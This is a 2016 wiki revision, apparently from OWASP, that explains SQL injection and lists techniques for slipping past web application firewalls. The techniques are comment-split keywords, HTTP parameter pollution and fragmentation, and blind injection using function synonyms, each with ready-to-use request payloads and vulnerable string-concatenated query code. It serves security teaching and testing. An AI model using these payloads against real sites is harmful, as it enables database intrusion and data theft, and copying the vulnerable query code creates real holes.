Difference between revisions of "SQL Injection Bypassing WAF"

Revision as of 15:49, 24 March 2016

Last revision (mm/dd/yy): 03/24/2016

SQLi

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

SQL Injection – Basic Concepts

There are two types of SQL Injection

• SQL Injection into a String/Char parameter
  Example: SELECT * from table where example = 'Example'

• SQL Injection into a Numeric parameter
  Example: SELECT * from table where id = 123

1. Exploitation of SQL Injection vulnerabilities is divided into classes according to the DBMS type and injection conditions.

• A vulnerable request can get into Insert, Update, Delete, etc.
  Example: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'

1. Blind SQL Injection

  Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))

1. Exploitation features for various DBMSs

  Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3
  Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3

Bypassing WAF: SQL Injection - Normalization Method
Example Number (1) of a vulnerability in the function of request Normalization.
• The following request doesn’t allow anyone to conduct an attack

 /?id=1+union+select+1,2,3/*

• If there is a corresponding vulnerability in the WAF, this request

 will be successfully performed
 /?id=1/*union*/union/*select*/select+1,2,3/*

• After being processed by WAF, the request will become

 index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*

The given example works in case of cleaning of dangerous traffic, not in case of blocking the entire request or the attack source.

Example Number (2) of a vulnerability in the function of request Normalization.
• Similarly, the following request doesn’t allow anyone to conduct an attack

 /?id=1+union+select+1,2,3/*

• If there is a corresponding vulnerability in the WAF, this request will be successfully performed

 /?id=1+un/**/ion+sel/**/ect+1,2,3--

• The SQL request will become

 SELECT * from table where id =1 union select 1,2,3--

Instead of construction /**/, any symbol sequence that WAF cuts off can be used (e.g., #####, %00).

The given example works in case of excessive cleaning of incoming data (replacement of a regular expression with the empty string).

'Using HTTP Parameter Pollution (HPP)'

• The following request doesn’t allow anyone to conduct an attack

 /?id=1;select+1,2,3+from+users+where+id=1--

• This request will be successfully performed using HPP

 /?id=1;select+1&id=2,3+from+users+where+id=1--

Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked.
OWASP EU09 Luca Carettoni, Stefano diPaola.

Using HTTP Parameter Pollution (HPP)

• Vulnerable code

 SQL=" select key from table where id= "+Request.QueryString("id")

• This request is successfully performed using the HPP technique

 /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

• The SQL request becomes select key from table where

 id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users

ByPassing WAF: SQL Injection – HPF
Using HTTP Parameter Fragmentation (HPF)

• Vulnerable code example

 Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
 Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);

• The following request doesn’t allow anyone to conduct an attack

 /?a=1+union+select+1,2/*

• These requests may be successfully performed using HPF

 /?a=1+union/*&b=*/select+1,2
 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

• The SQL requests become

 select * from table where a=1 union/* and b=*/select 1,2
 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

Bypassing WAF: Blind SQL Injection
Using logical requests AND/OR
• The following requests allow one to conduct a successful attack for many WAFs

 /?id=1+OR+0x50=0x50
 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

Negation and inequality signs (!=, <>, <, >) can be used instead of the equality one – It is amazing, but many WAFs miss it!

It becomes possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that get to WAF signatures with their synonyms.
substring() -> mid(), substr()
ascii() -> hex(), bin()
benchmark() -> sleep()

and More to Write.